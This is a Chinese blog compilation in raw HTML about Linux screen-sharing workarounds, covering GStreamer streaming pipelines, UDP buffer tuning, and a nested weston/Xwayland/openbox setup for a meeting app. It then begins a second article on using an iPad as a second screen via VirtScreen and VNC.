&amp;gt; gst-launch-1.0 videotestsrc ! videoconvert ! jpegenc ! rtpjpegpay ! udpsink host=127.0.0.1 port=5000
## 接收端
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,encoding-name=(string)JPEG&amp;#x27; ! rtpjpegdepay ! jpegdec ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而对于 TCP，因为 TCP 是流式的（它关心的只是怎么传输一个字节流），而不是像 UDP 那样一个包一个包界限分明，但是 RTP 依赖于 UDP 的这个性质，所以 TCP 下需要用某种编码包一层，或者用 GDP (GStreamer Data Protocol) 包一层：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端
&amp;gt; gst-launch-1.0 videotestsrc ! videoconvert ! video&amp;#x2F;x-raw,format=BGRx,width=100,height=100,framerate=24&amp;#x2F;1 ! gdppay ! tcpserversink host=127.0.0.1 port=5000
## 接收端
&amp;gt; gst-launch-1.0 tcpclientsrc port=5000 ! gdpdepay ! video&amp;#x2F;x-raw,format=BGRx,width=100,height=100,framerate=24&amp;#x2F;1 ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;shi-pin-bian-ma&quot;&gt;视频编码？&lt;&#x2F;h4&gt;
&lt;p&gt;看起来视频编码是一个不错的主意，但是我们需要考虑两点问题：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;视频编码的质量、延迟&lt;&#x2F;li&gt;
&lt;li&gt;视频编码的性能开销&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;带宽占用可能也是一个值得关注的问题，不过我们这里的场景是本地传输，所以甚至直接传 raw stream 都是可以接受的。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以在 pipeline 中添加先编码然后直接解码后输出到 &lt;code&gt;xvimagesink&lt;&#x2F;code&gt; 的过程。rtp pay 和 depay 的损耗几乎可以忽略不计，所以这里就不放了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## H.264
pipewiresrc fd=%d path=%u ! videoconvert ! x264enc tune=zerolatency ! avdec_h264 ! videoconvert ! xvimagesink
## MJPEG
pipewiresrc fd=%d path=%u ! jpegenc ! jpegdec ! videoconvert ! xvimagesink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先可以发现的是，默认参数下，H.264 + zerolatency 的效果非常非常糊：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;h264_1-20240612224552-ge6e0t4-e87da5.png&quot; alt=&quot;Blurry stream in H264&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;和朋友讨论了之后发现是默认码率的问题。GStreamer 的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;x264&#x2F;index.html#x264enc:bitrate&quot;&gt;x264enc 的默认码率&lt;&#x2F;a&gt;是 2048 Kbps。这个码率用在摄像头上大概可以勉强看清人脸，然后在屏幕共享的场合就很不够用了。尤其是这里还开了 zerolatency，把很多非实时场景下能用的优化都关掉了，所以需求的码率更高。&lt;&#x2F;p&gt;
&lt;p&gt;（其实可能可以妥协少量的延迟来做一些帧间优化，但是我不太熟悉怎么去调参数，所以就跳过吧）&lt;&#x2F;p&gt;
&lt;p&gt;将码率调高之后画质的问题有所改善，但是还是不怎么跟手。如果只是共享 slides 之类的话可能问题不算很大，不过如果要以很低的延迟共享游戏的屏幕流的话，恐怕都不太合适。&lt;&#x2F;p&gt;
&lt;p&gt;以下是 MJPEG, H.264 (30000 Kbps) 和不编码&#x2F;解码的时候延迟与 CPU 使用量的直观对比，其中右下角是 xvimagesink：&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=YeZQ-kd2_mA]&lt;&#x2F;p&gt;
&lt;p&gt;MJPEG&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=E2uFver-_Jc]&lt;&#x2F;p&gt;
&lt;p&gt;H.264 (30000 Kbps)&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=MXF5kQh9jvM]&lt;&#x2F;p&gt;
&lt;p&gt;直接输出&lt;&#x2F;p&gt;
&lt;p&gt;如果开个游戏的话，延迟带来的效果就更加显著：&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=c-p4l0GqAKo]&lt;&#x2F;p&gt;
&lt;p&gt;MJPEG，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;store.steampowered.com&#x2F;app&#x2F;400910&#x2F;&quot;&gt;某个（被）弹幕（打的）游戏&lt;&#x2F;a&gt;的 screencast&lt;&#x2F;p&gt;
&lt;p&gt;所以显然转码和解码会带来一定的开销，并且这样的开销有的时候无法忽略——不过如果需要考虑网络传输的开销的话，MJPEG 相比来讲仍然是一个比较均衡的方案，所以仍然需要视场景选择。&lt;&#x2F;p&gt;
&lt;p&gt;有读者可能会问：为什么不用硬件加速？GStreamer 确实支持基于 VAAPI 的硬件加速，但是它的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;vaapi&#x2F;vaapih264enc.html&quot;&gt;H.264 硬件加速编码器&lt;&#x2F;a&gt;不支持 zerolatency，实际效果反而更卡；而 MJPEG 我没有找到相关的硬件加速方案，不过 VAAPI 支持其他类型的编解码加速，这就需要有兴趣的人自己测试了。&lt;&#x2F;p&gt;
&lt;p&gt;另外再次需要注意的是，这里考虑的是一个极端的场合（需要很小的延迟）。在直播之类的场景下反而 H.264（以及其他更先进的编码）是更好的选择，因为几秒的延迟已经足够做优化，并且这个时候也可以用上硬件编码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wang-luo-chuan-shu-2&quot;&gt;网络传输 (2)&lt;&#x2F;h4&gt;
&lt;p&gt;这个问题听起来很简单——毕竟前面已经知道怎么在 GStreamer 里面使用 UDP&#x2F;TCP 来传输视频流了，那么直接用上不就行了？让我们先拿个视频文件试试吧！&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端 (UDP)
&amp;gt; gst-launch-1.0 filesrc location=.&amp;#x2F;test.mp4 ! decodebin ! videoconvert ! jpegenc ! rtpjpegpay ! udpsink host=127.0.0.1 port=5000  # MJPEG
&amp;gt; gst-launch-1.0 filesrc location=.&amp;#x2F;test.mp4 ! decodebin ! videoconvert ! x264enc tune=zerolatency bitrate=30000 ! rtph264pay ! udpsink host=127.0.0.1 port=5000  # H.265
&amp;gt; gst-launch-1.0 filesrc location=.&amp;#x2F;test.mp4 ! decodebin ! videoconvert ! rtpvrawpay ! udpsink host=127.0.0.1 port=5000  # RAW
## 接收端 (UDP)
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,encoding-name=(string)JPEG&amp;#x27; ! rtpjpegdepay ! jpegdec ! videoconvert ! autovideosink  # MJPEG
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,encoding-name=(string)H264&amp;#x27; ! rtph264depay ! avdec_h264 ! videoconvert ! autovideosink  # H.265
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,sampling=(string)YCbCr-4:2:0,width=(string)1920,height=(string)1012,depth=(string)8&amp;#x27; ! rtpvrawdepay ! videoconvert ! autovideosink  # RAW
## emmm 一个麻烦的事情是，如果要用 rtp 传 raw stream，你要想办法知道这个 rtp 的属性
## 可以在发送端调高 GST_DEBUG 来判断 video&amp;#x2F;x-raw 的属性，但是有时候需要一些额外的知识
## 比如说我用来测试的视频里面的像素格式是 &amp;quot;I420&amp;quot;，它对应的 rtp sampling 是 &amp;quot;YCbCr-4:2:0&amp;quot;
## 这是一个大坑点，不去搜资料是很难知道的
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果……emmmm……（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1Ab41197eT&#x2F;&quot;&gt;视频来源&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=pEqO3zchRFs]&lt;&#x2F;p&gt;
&lt;p&gt;MJPEG，没错不是你这里卡住了&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=9T82V-qzGiY]&lt;&#x2F;p&gt;
&lt;p&gt;H.264，不少 artifacts&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=TdL_9TbpWjc]&lt;&#x2F;p&gt;
&lt;p&gt;直接传会出现大量的细线&lt;&#x2F;p&gt;
&lt;p&gt;TCP 是没有这个问题的。有经验的读者应该能猜到是什么问题了，不过既然 UDP 在 lo 上有问题，那么我们就需要检查相关的丢包情况了。以 MJPEG 为例，观察 &lt;code&gt;&#x2F;proc&#x2F;net&#x2F;udp&lt;&#x2F;code&gt;，可以发现在卡顿的时候是有丢包的情况的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; cat &amp;#x2F;proc&amp;#x2F;net&amp;#x2F;udp
   sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt   uid  timeout inode ref pointer drops
 2609: 00000000:1388 00000000:0000 07 00000000:00000000 00:00000000 00000000  1000        0 696929 2 0000000057310d4f 11233
 # 这一行最后一个数值不断增长。以下省略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;搜索可以发现需要增加接收端的缓冲区大小：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; sysctl net.core.rmem_max
net.core.rmem_max = 212992
## 修改到一个更大的值
&amp;gt; sudo sysctl -w net.core.rmem_max=10485760
net.core.rmem_max = 10485760
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;并且接收端的 udpsrc 也需要做配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 类似于这样
&amp;gt; gst-launch-1.0 udpsrc port=5000 buffer-size=10485760 caps=&amp;#x27;application&amp;#x2F;x-rtp,encoding-name=(string)JPEG&amp;#x27; ! rtpjpegdepay ! jpegdec ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（至于定多少就需要自己慢慢调了）&lt;&#x2F;p&gt;
&lt;h4 id=&quot;x11docker-de-shi-yong&quot;&gt;x11docker 的使用&lt;&#x2F;h4&gt;
&lt;p&gt;x11docker 需要一段时间自己摸索，并且为了好用，桌面环境的容器需要在 x11docker 已有的容器基础上自己打包（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;taoky&#x2F;scripts&#x2F;blob&#x2F;master&#x2F;.not_used&#x2F;x11docker&#x2F;wemeet&#x2F;Dockerfile&quot;&gt;一个可供参考的 Dockerfile&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;然后 x11docker 需要自己选一个 X server 的实现。尽管官方文档推荐 Xephyr，但是实际上根据我本地的测试，它对 XVideo 扩展的支持相当差，xvimagesink 无法正常播放视频。有可能这也是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mviereck&#x2F;x11docker&#x2F;blob&#x2F;93a2793e62a9fd5e5bb0ed9ffd67467463ed8003&#x2F;x11docker#LL4070C9-L4070C9&quot;&gt;x11docker 把 xephyr 的 XVideo 关了&lt;&#x2F;a&gt;的原因。&lt;&#x2F;p&gt;
&lt;p&gt;令人惊讶的是，用 weston 里面跑一个 xwayland 的方式出人意料地不错（唯一的缺点是不能调 weston 的窗口大小），XVideo 是正常的，里面的桌面环境跑起来也没有问题。尽管 x11docker 默认会启动一个 X 后端的 weston（很奇怪，而且&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;wayland&#x2F;weston&#x2F;-&#x2F;issues&#x2F;746&quot;&gt;我这里鼠标移动会出问题&lt;&#x2F;a&gt;），不过直接改 x11docker 脚本，强制 weston 以 wayland 后端启动就能缓解。&lt;&#x2F;p&gt;
&lt;p&gt;所以为什么这里 xwayland 就能让它成功屏幕共享？我的推测是，xwayland 在正常使用的时候都是以 rootless 模式启动的 (Run Xwayland rootless, so that X clients integrate seamlessly with Wayland clients in a Wayland desktop)，这个模式下可能是无法正常获取整个屏幕的信息的。而这里 xwayland 以 non-rootless 模式启动，所以屏幕的信息是完整可以被应用获取的。&lt;&#x2F;p&gt;
&lt;p&gt;最后的启动命令大概是这个样子：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;x11docker --gpu -I --weston-xwayland --size=1920x1080 --home --clipboard --desktop --pulseaudio=host --webcam --sudouser -i local&amp;#x2F;wemeet-x11
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不过我最后没有用这个方案，原因是某会议软件在这个环境里面拒绝启动麦克风，原因不明，我也懒得拿个 IDA 去逆向。刚好之前试过 Flatpak 版本除了屏幕共享都是正常的，所以之后我实际采用的方案可能已经能猜到了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;niu-qu-de-zui-zhong-fang-an&quot;&gt;扭曲的最终方案&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Update 1 (2023-08-25): xorg-xwayland 更新到 23.2.0 之后 rootful 模式处理大小的方式出现了变化，因此下面的内容有修改：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Xwayland&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;需要添加一个&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;code&gt;-fullscreen&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;参数，否则启动的 X 的大小不对；&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;mutter 换成了 openbox，因为 mutter 开出来之后会自己把分辨率调到 5120x2880，然后窗口就特别小，不知道是什么原因。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Update 2 (2023-08-26): 最新版的 xorg-xwayland 做了 libdecor 的适配调整，添加了 resize 的支持，所以另一种思路是在编译 xorg-xwayland 时加上 libdecor 支持，然后扔掉 weston，直接启动 Xwayland。不过 Arch 编译的版本没有加 libdecor，所以我&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;xwayland-standalone-with-libdecor&quot;&gt;打了个 AUR 包&lt;&#x2F;a&gt;自己用，加上 git 版带 GTK plugin 的 libdecor，显示的效果还挺不错。此外 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Openbox#Configuration&quot;&gt;openbox 修改配置也很方便&lt;&#x2F;a&gt;，可以在它的菜单中配置在这个新的 X Display 里面可能要用到的东西。可以参考：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;taoky&#x2F;scripts&#x2F;blob&#x2F;f88a9a00eac1931a596dfdcb3d91b626279dc8b1&#x2F;x11&#x2F;wemeet&#x2F;start.sh&quot;&gt;我现在使用的启动脚本&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;taoky&#x2F;scripts&#x2F;tree&#x2F;f88a9a00eac1931a596dfdcb3d91b626279dc8b1&#x2F;dotfile&#x2F;.config&#x2F;openbox&quot;&gt;我的 openbox 配置&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;xwayland-standalone-20240612224552-s0ncp7y-7c7d05.png&quot; alt=&quot;Standalone xwayland screenshot&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;所以我们可以：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;先开个 nested weston（别的 wayland compositor 应该也成）&lt;&#x2F;li&gt;
&lt;li&gt;在 weston 里面开个 non-rootless 的 xwayland&lt;&#x2F;li&gt;
&lt;li&gt;在 xwayland 里面开个窗口管理器（我这里用 &lt;sub&gt;mutter&lt;&#x2F;sub&gt; openbox，理论上随便找一个就行）&lt;&#x2F;li&gt;
&lt;li&gt;然后也在这个 xwayland 里面开某会议软件&lt;&#x2F;li&gt;
&lt;li&gt;最后把 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;-&#x2F;snippets&#x2F;19&quot;&gt;xdp-screen-cast&lt;&#x2F;a&gt; 输出（ximagesink）也开在这个 non-rootless 的 xwayland 里面，而且顺便还省去了 TCP&#x2F;UDP 网络栈的开销&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;illustration-20240612224552-xw6dzee-86dfc9.png&quot; alt=&quot;Solution graph&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之前画的流程示意图，里面可能有的组件关系不够准确，但是我懒得改了。&lt;&#x2F;p&gt;
&lt;p&gt;启动脚本很简单，其中 &lt;code&gt;Xwayland&lt;&#x2F;code&gt; 的参数是从 x11docker 抄的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;sh -e

## Start weston
echo &amp;quot;Starting weston&amp;quot;
weston -c $(pwd)&amp;#x2F;weston.ini --socket=wayland-114 &amp;amp;

sleep 3

## Start xwayland
echo &amp;quot;Starting Xwayland&amp;quot;
WAYLAND_DISPLAY=wayland-114 Xwayland :114 -ac -retro +extension RANDR +extension RENDER +extension GLX +extension XVideo +extension DOUBLE-BUFFER +extension SECURITY +extension DAMAGE +extension X-Resource -extension XINERAMA -xinerama -extension MIT-SHM +extension Composite +extension COMPOSITE -extension XTEST -tst -dpms -s off -fullscreen &amp;amp;

sleep 3

## Start openbox and wemeet
echo &amp;quot;Starting openbox&amp;quot;
DISPLAY=:114 openbox &amp;amp;

echo &amp;quot;Starting wemeet&amp;quot;
DISPLAY=:114 flatpak run com.tencent.wemeet
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 weston.ini 的内容也是从 x11docker 抄来的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[core]
shell=desktop-shell.so
backend=wayland-backend.so
idle-time=0
[shell]
panel-location=none
panel-position=none
locking=false
background-color=0xff002244
animation=fade
startup-animation=fade
[keyboard]
[output]
name=WL1
mode=1920x1080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显示效果如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;weston-20240612224552-rhgt8q9-af0fc8.png&quot; alt=&quot;Weston + XWayland + Mutter&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（换成 openbox 之后长得丑一些，X server 默认的黑白背景还在，不过也不是不能用）&lt;&#x2F;p&gt;
&lt;p&gt;特别地，在里面跑的 flatpak 应用需要开启后台运行权限，否则跑了几秒之后就会被杀掉。&lt;&#x2F;p&gt;
&lt;p&gt;这个方案的另一个问题是：剪贴板不能直接交互， &lt;sub&gt;以及输入法也用不了了&lt;&#x2F;sub&gt; 输入法能用，不过 popup 位置有时候不对。一个 workaround 是用 &lt;sub&gt;剪贴板代替输入法&lt;&#x2F;sub&gt;&lt;code&gt;xclip&lt;&#x2F;code&gt; 替代剪贴板操作：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &amp;quot;不是不能用&amp;quot; | xclip -selection clipboard -i -display :114
## 从 :0 的剪贴板复制到 :114
xclip -selection clipboard -o -display :0 | xclip -selection clipboard -i -display :114
## 从 :114 的剪贴板复制到 :0
xclip -selection clipboard -o -display :114 | xclip -selection clipboard -i -display :0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;p&gt;我用这个方案开过了几次会，还挺舒服的，相比于开个 VM 也更流畅。&lt;&#x2F;p&gt;
&lt;p&gt;其实如果某会议软件搞个 Web 版本就没这么多破事了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-shu-ru-he-shi-yong-yi-dong-she-bei-zuo-wei-linux-fu-ping&quot;&gt;技术|如何使用移动设备作为 Linux 副屏&lt;&#x2F;h2&gt;
&lt;p&gt;作者：      	      		    			&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blogs.lifesucks.cn&#x2F;mobile-device-as-2nd-screen&#x2F;&quot;&gt;曹阳&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;| 2021-07-25 22:48&lt;&#x2F;p&gt;
&lt;p&gt;由于工作的原因，经常会需要带着自己的笔记本到处跑。然后，作为程序员，总是渴望着更多的屏幕。比如一块屏幕用来看视频，一块用来看文档，一块用来写代码，一块用来做测试。这也是我比较喜欢 Emacs 编辑器和 Awesome 窗口管理器的原因。不过，在实际生活中，随时带着一块屏幕出门也不太现实，所以探索一下使用 iPad 或 Android 手机作为副屏的方式。&lt;&#x2F;p&gt;
&lt;p&gt;在这篇文章中，就大致介绍一下 VirtScreen 和 Deskreen 的使用和特点。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;huan-jing&quot;&gt;环境&lt;&#x2F;h4&gt;
&lt;p&gt;本文使用的环境为，一台 ArchLinux + Awesome，一个 iPad 作为移动端，网络使用手机热点。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;virtscreen&quot;&gt;VirtScreen&lt;&#x2F;h4&gt;
&lt;p&gt;VirtScreen 虚拟了一块虚拟屏，可以使用 &lt;code&gt;xrandr&lt;&#x2F;code&gt; 直接管理，就和直接外接了一块屏幕一样。&lt;&#x2F;p&gt;
&lt;p&gt;使用方式如下：&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-yi-gui-mo-shi-yun-xing-virtscreen&quot;&gt;1、以 GUI 模式运行 VirtScreen&lt;&#x2F;h5&gt;
&lt;p&gt;在我的环境下，直接运行 VirtScreen 无法正常打开窗口界面。使用 &lt;code&gt;optirun virtscreen&lt;&#x2F;code&gt; 解决。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-zai-tu-xing-jie-mian-xia-she-zhi-xian-shi-can-shu&quot;&gt;2、在图形界面下设置显示参数&lt;&#x2F;h5&gt;
&lt;p&gt;我的 iPad 应该是 2224*1668 分辨率，VirtScreen 最大支持 1920×1080 分辨率。不过移动设备一般 PPI 比较高，将分辨率设置为一半显示效果则刚好。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;224855atrv88mjwzp1pb3b-20240613001945-d5upkgw-4f564f.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;display config&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;设置完成后 “Enable VIRTUAL SCREEN” 即可。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-zai-vnc-xia-she-zhi-xian-shi-can-shu&quot;&gt;3、在 VNC 下设置显示参数&lt;&#x2F;h5&gt;
&lt;p&gt;根据需要配置 VNC 端口和密码。完成后 “START VNC SERVER” 或勾选 “Auto” 选项。如果不勾选 “Auto” 选项，VNC 连接终止后，VNC Server 也自动关闭。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;224856a2jv93imdbvsjsji-20240613001945-un347b4-805d1f.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;vnc config&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;4-yi-dong-she-bei-lian-jie-vnc&quot;&gt;4、移动设备连接 VNC&lt;&#x2F;h5&gt;
&lt;p&gt;VNC 开启后，移动设备使用任意 VNC 客户端连接即可。这里我使用了 VNC Viewer.&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-pei-zhi-fu-ping&quot;&gt;5、配置副屏&lt;&#x2F;h5&gt;
&lt;p&gt;这时候应该就可以使用任意配置工具配置屏幕了。我一般通过 &lt;code&gt;xrandr&lt;&#x2F;code&gt; 进行配置。&lt;&#x2F;p&gt;
&lt;pre class=&quot;prettyprint linenums prettyprinted&quot;&gt;&lt;ol class=&quot;linenums&quot;&gt;&lt;li class=&quot;L0&quot;&gt;&lt;p&gt;&lt;code&gt;&lt;span class=&quot;pun&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;pln&quot;&gt;spes@Gensoukyo &lt;&#x2F;span&gt;&lt;span class=&quot;pun&quot;&gt;&lt;sub&gt;]&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;$ xrandr&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L1&amp;quot; data-node-id=&amp;quot;20240613001945-qn3hxoj&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;Screen&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;:&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; minimum &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;8&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; x &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;8&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;,&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; current &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;3032&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; x &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1080&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;,&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; maximum &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;32767&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; x &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;32767&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L2&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;eDP1 connected primary &amp;lt;&#x2F;span&amp;gt;&amp;lt;span 